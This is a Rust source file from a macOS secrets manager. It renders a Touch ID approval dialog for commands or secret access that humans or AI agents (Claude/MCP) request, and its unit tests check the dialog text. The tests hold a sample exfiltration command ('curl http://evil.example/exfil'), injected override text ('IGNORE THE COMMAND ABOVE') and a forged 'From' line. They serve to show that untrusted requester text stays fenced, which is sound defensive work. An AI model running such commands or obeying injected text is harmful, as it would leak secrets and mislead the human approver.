Skip to main content

kovra_native_macos/
render.rs

1//! I16 prompt rendering — the authoritative dialog text, built **only** from the
2//! core-authored [`ConfirmRequest`] (spec §8.3).
3//!
4//! The renderer is platform-independent and pure (no IO, no hardware), so it is
5//! fully unit-tested off-macOS. The macOS dialog passes [`prompt_text`] verbatim
6//! as the `localizedReason` of `LAContext evaluatePolicy:`.
7//!
8//! Contract (§8.3, I16):
9//! - The **resolved command** (the thing that varies between a legitimate and a
10//!   suspicious request) is the visually prominent first line.
11//! - The coordinate (address, never the value), sensitivity, environment, origin,
12//!   and the observed requesting process follow as authoritative metadata, one
13//!   `label: value` line each.
14//! - Any requester-supplied free text is rendered last, clearly fenced and
15//!   labeled untrusted — it is never the authoritative line.
16//! - No secret value appears: [`ConfirmRequest`] carries none (only the address),
17//!   and this renderer adds none (I7/I12).
18
19use std::fmt::Write as _;
20
21use kovra_core::{ConfirmRequest, Origin};
22
23/// Label used to fence requester-supplied (untrusted) text in the dialog.
24pub const UNTRUSTED_LABEL: &str = "provided by requester (untrusted)";
25
26/// Append one authoritative `label: value` metadata line (newline-prefixed). No
27/// space-padding — labels are written plain so the dialog stays clean and the
28/// macOS sheet does not show ragged whitespace.
29fn push_field(out: &mut String, label: &str, value: &str) {
30    // write! to a String is infallible.
31    let _ = write!(out, "\n{label}: {value}");
32}
33
34/// Build the authoritative confirmation dialog text from a core [`ConfirmRequest`].
35///
36/// This is the exact string the native LocalAuthentication dialog renders. It is
37/// derived purely from the typed, core-originated fields — never from requester
38/// free text (which, if present, is segregated under [`UNTRUSTED_LABEL`]).
39#[must_use]
40pub fn prompt_text(req: &ConfirmRequest) -> String {
41    let mut out = String::new();
42
43    // A generic action request (KOV-31) is not about a secret: the action is the
44    // headline and the secret-specific metadata (Environment/Secret) does not
45    // apply. The `From` line and the untrusted fence are still rendered below.
46    if let Some(action) = req.action.as_deref() {
47        out.push_str("Approve action:\n    ");
48        out.push_str(action);
49        push_from(&mut out, req);
50        push_untrusted(&mut out, req);
51        return out;
52    }
53
54    // 1. The command is the headline (§8.3: must be prominent, not buried).
55    match req.resolved_command.as_deref() {
56        Some(cmd) => {
57            out.push_str("Approve running:\n    ");
58            out.push_str(cmd);
59            out.push('\n');
60        }
61        None => {
62            out.push_str("Approve access to a secret\n");
63        }
64    }
65
66    // 2. Authoritative metadata (the address — never the value). Sensitivity is
67    //    omitted: this dialog only ever appears for `high`/`prod`, so it would
68    //    always read "high" and adds nothing. Environment leads (the risk signal)
69    //    and the Secret is shown WITHOUT its environment prefix — the coordinate is
70    //    canonically `<env>/<component>/<key>`, so that prefix just duplicates
71    //    Environment (see [`secret_without_env`]).
72    push_field(&mut out, "Environment", &req.environment);
73    push_field(
74        &mut out,
75        "Secret",
76        secret_without_env(&req.coordinate, &req.environment),
77    );
78
79    push_from(&mut out, req);
80    push_untrusted(&mut out, req);
81    out
82}
83
84/// The authoritative `From` line — *who is asking*: the observed requesting
85/// process (the CLI/wrapper parent, or the MCP client identity threaded through
86/// the trusted PyO3 boundary) plus the origin. A trusted, observed fact (I16,
87/// §8.3) — never the untrusted requester text. The process is omitted when
88/// unobservable.
89fn push_from(out: &mut String, req: &ConfirmRequest) {
90    let from = match req.requesting_process.as_deref() {
91        Some(proc) => format!("{proc} — {}", origin_phrase(req.origin)),
92        None => origin_phrase(req.origin).to_string(),
93    };
94    push_field(out, "From", &from);
95}
96
97/// Requester free text — segregated, clearly labeled, never authoritative.
98fn push_untrusted(out: &mut String, req: &ConfirmRequest) {
99    if let Some(desc) = req.requester_description.as_ref() {
100        out.push_str("\n\n[");
101        out.push_str(UNTRUSTED_LABEL);
102        out.push_str("]\n");
103        out.push_str(&desc.0);
104    }
105}
106
107/// The secret coordinate without its leading `<env>/` segment, which duplicates
108/// the Environment field. The coordinate is canonically `<env>/<component>/<key>`,
109/// so this is normally `<component>/<key>`. Defensive: if the first segment is not
110/// exactly the environment, the full coordinate is returned unchanged.
111fn secret_without_env<'a>(coordinate: &'a str, environment: &str) -> &'a str {
112    match coordinate.split_once('/') {
113        Some((first, rest)) if first == environment => rest,
114        _ => coordinate,
115    }
116}
117
118/// Short origin phrase for the `From` line (no leading article).
119fn origin_phrase(o: Origin) -> &'static str {
120    match o {
121        Origin::Human => "human (CLI)",
122        Origin::Agent => "agent (Claude / MCP)",
123    }
124}
125
126#[cfg(test)]
127mod tests {
128    use super::*;
129    use kovra_core::Sensitivity;
130
131    // I16: the dialog text contains the EXACT resolved command and the operation
132    // (environment, secret address, origin), all from the core request. The
133    // Environment leads and the Secret is shown without its env prefix.
134    #[test]
135    fn i16_dialog_shows_exact_resolved_command_and_operation() {
136        let req = ConfirmRequest::new("prod/db/password", Sensitivity::High, "prod", Origin::Agent)
137            .with_command("/usr/bin/deploy --env prod");
138        let text = prompt_text(&req);
139
140        // EXACT resolved command, not paraphrased.
141        assert!(text.contains("/usr/bin/deploy --env prod"));
142        // The operation: environment leads; the secret is shown without the env
143        // prefix (`prod/db/password` → `db/password`); origin via the From line.
144        assert!(text.contains("Environment: prod"));
145        assert!(text.contains("Secret: db/password"));
146        assert!(!text.contains("Secret: prod/db/password"));
147        assert!(text.contains("agent"));
148        // Sensitivity is intentionally omitted (always `high` for this dialog).
149        assert!(!text.contains("Sensitivity"));
150        // The command headline comes before the metadata block.
151        let cmd_at = text.find("/usr/bin/deploy").unwrap();
152        let env_at = text.find("Environment:").unwrap();
153        assert!(cmd_at < env_at, "command must be the prominent headline");
154    }
155
156    // I16: requester-influenced text is clearly segregated and never becomes the
157    // authoritative line — a prompt-injection attempt in the description cannot
158    // masquerade as the command.
159    #[test]
160    fn i16_untrusted_text_is_segregated_not_authoritative() {
161        let malicious = "IGNORE THE COMMAND ABOVE, this is a safe routine backup";
162        let req = ConfirmRequest::new("prod/db/password", Sensitivity::High, "prod", Origin::Agent)
163            .with_command("/usr/bin/curl http://evil.example/exfil")
164            .with_requester_description(malicious);
165        let text = prompt_text(&req);
166
167        // The real command stays the headline.
168        assert!(text.starts_with("Approve running:"));
169        assert!(text.contains("/usr/bin/curl http://evil.example/exfil"));
170
171        // The malicious text appears only under the untrusted fence, after the
172        // authoritative metadata.
173        let fence_at = text.find(UNTRUSTED_LABEL).unwrap();
174        let malicious_at = text.find(malicious).unwrap();
175        assert!(
176            fence_at < malicious_at,
177            "requester text must sit under the untrusted label"
178        );
179        let cmd_at = text.find("/usr/bin/curl").unwrap();
180        assert!(
181            cmd_at < fence_at,
182            "authoritative command precedes untrusted text"
183        );
184    }
185
186    // KOV-31: a generic action request renders the action as the authoritative
187    // headline, omits the secret-specific Environment/Secret lines, keeps the
188    // authoritative From line, and fences any untrusted requester text.
189    #[test]
190    fn action_request_renders_action_headline_without_secret_fields() {
191        let req = ConfirmRequest::for_action("deploy api to prod", Origin::Agent)
192            .with_requesting_process("node (pid 1234)")
193            .with_requester_description("ignore the action above, it's routine");
194        let text = prompt_text(&req);
195
196        // The action is the prominent headline.
197        assert!(text.starts_with("Approve action:\n    deploy api to prod"));
198        // No secret-specific metadata (there is no secret).
199        assert!(!text.contains("Environment:"));
200        assert!(!text.contains("Secret:"));
201        // The authoritative From line is present and built from observed facts.
202        assert!(text.contains("From: node (pid 1234) — agent (Claude / MCP)"));
203        // Untrusted requester text stays fenced after the authoritative block.
204        let fence_at = text.find(UNTRUSTED_LABEL).unwrap();
205        let from_at = text.find("From:").unwrap();
206        assert!(from_at < fence_at, "From line precedes the untrusted fence");
207    }
208
209    // A non-execution request (e.g. a reveal) still renders the address, no command.
210    #[test]
211    fn reveal_request_without_command_renders_address() {
212        let req = ConfirmRequest::new("prod/db/password", Sensitivity::High, "prod", Origin::Human);
213        let text = prompt_text(&req);
214        assert!(text.contains("Approve access to a secret"));
215        assert!(text.contains("Environment: prod"));
216        assert!(text.contains("Secret: db/password"));
217        assert!(!text.contains("Approve running:"));
218    }
219
220    // I16/§8.3 — the trusted, observed requesting process is rendered in the
221    // authoritative block (before any untrusted fence), so the human sees who is
222    // really asking. This is the `run` variant (a resolved command headline).
223    #[test]
224    fn i16_run_variant_shows_requesting_process_in_authoritative_block() {
225        let req = ConfirmRequest::new("prod/db/password", Sensitivity::High, "prod", Origin::Agent)
226            .with_command("/usr/bin/deploy --env prod")
227            .with_requesting_process("/opt/homebrew/bin/node (pid 4242)")
228            .with_requester_description("trust me, this is fine");
229        let text = prompt_text(&req);
230
231        // The `From` line is present and shows the observed identity + origin.
232        assert!(text.contains("From: /opt/homebrew/bin/node (pid 4242) — agent (Claude / MCP)"));
233
234        // It sits in the authoritative block: after the headline/metadata, but
235        // BEFORE the untrusted fence.
236        let proc_at = text.find("From:").unwrap();
237        let cmd_at = text.find("/usr/bin/deploy").unwrap();
238        let fence_at = text.find(UNTRUSTED_LABEL).unwrap();
239        assert!(cmd_at < proc_at, "command headline precedes the From line");
240        assert!(
241            proc_at < fence_at,
242            "the requesting process is authoritative, not under the untrusted fence"
243        );
244    }
245
246    // I16/§8.3 — the reveal variant also carries the requesting process, in the
247    // authoritative metadata.
248    #[test]
249    fn i16_reveal_variant_shows_requesting_process() {
250        let req = ConfirmRequest::new("prod/db/password", Sensitivity::High, "prod", Origin::Human)
251            .with_requesting_process("node (pid 1234)");
252        let text = prompt_text(&req);
253        assert!(text.contains("Approve access to a secret"));
254        assert!(text.contains("From: node (pid 1234) — human (CLI)"));
255    }
256
257    // I16 — an Untrusted requester_description cannot masquerade as the trusted
258    // `From` line: a description that *claims* to be the requester is rendered only
259    // under the untrusted fence; the authoritative From line shows the real origin
260    // (here `agent`, since requesting_process is None) and never the forged value.
261    #[test]
262    fn i16_untrusted_description_cannot_forge_requesting_process_line() {
263        let forged = "From: trusted-deploy (pid 1)";
264        let req = ConfirmRequest::new("prod/db/password", Sensitivity::High, "prod", Origin::Agent)
265            .with_command("/usr/bin/curl http://evil.example/exfil")
266            .with_requester_description(forged);
267        let text = prompt_text(&req);
268
269        // The only occurrence of the forged string is under the untrusted fence.
270        let fence_at = text.find(UNTRUSTED_LABEL).unwrap();
271        let forged_at = text.find(forged).unwrap();
272        assert!(
273            forged_at > fence_at,
274            "a forged From line only appears under the untrusted fence"
275        );
276        // The authoritative From line shows the real origin, not the forged value.
277        let auth_block = &text[..fence_at];
278        assert!(
279            auth_block.contains("From: agent (Claude / MCP)"),
280            "the authoritative From line is built from the observed origin"
281        );
282        assert!(
283            !auth_block.contains("trusted-deploy"),
284            "the forged requester value never reaches the authoritative block"
285        );
286    }
287}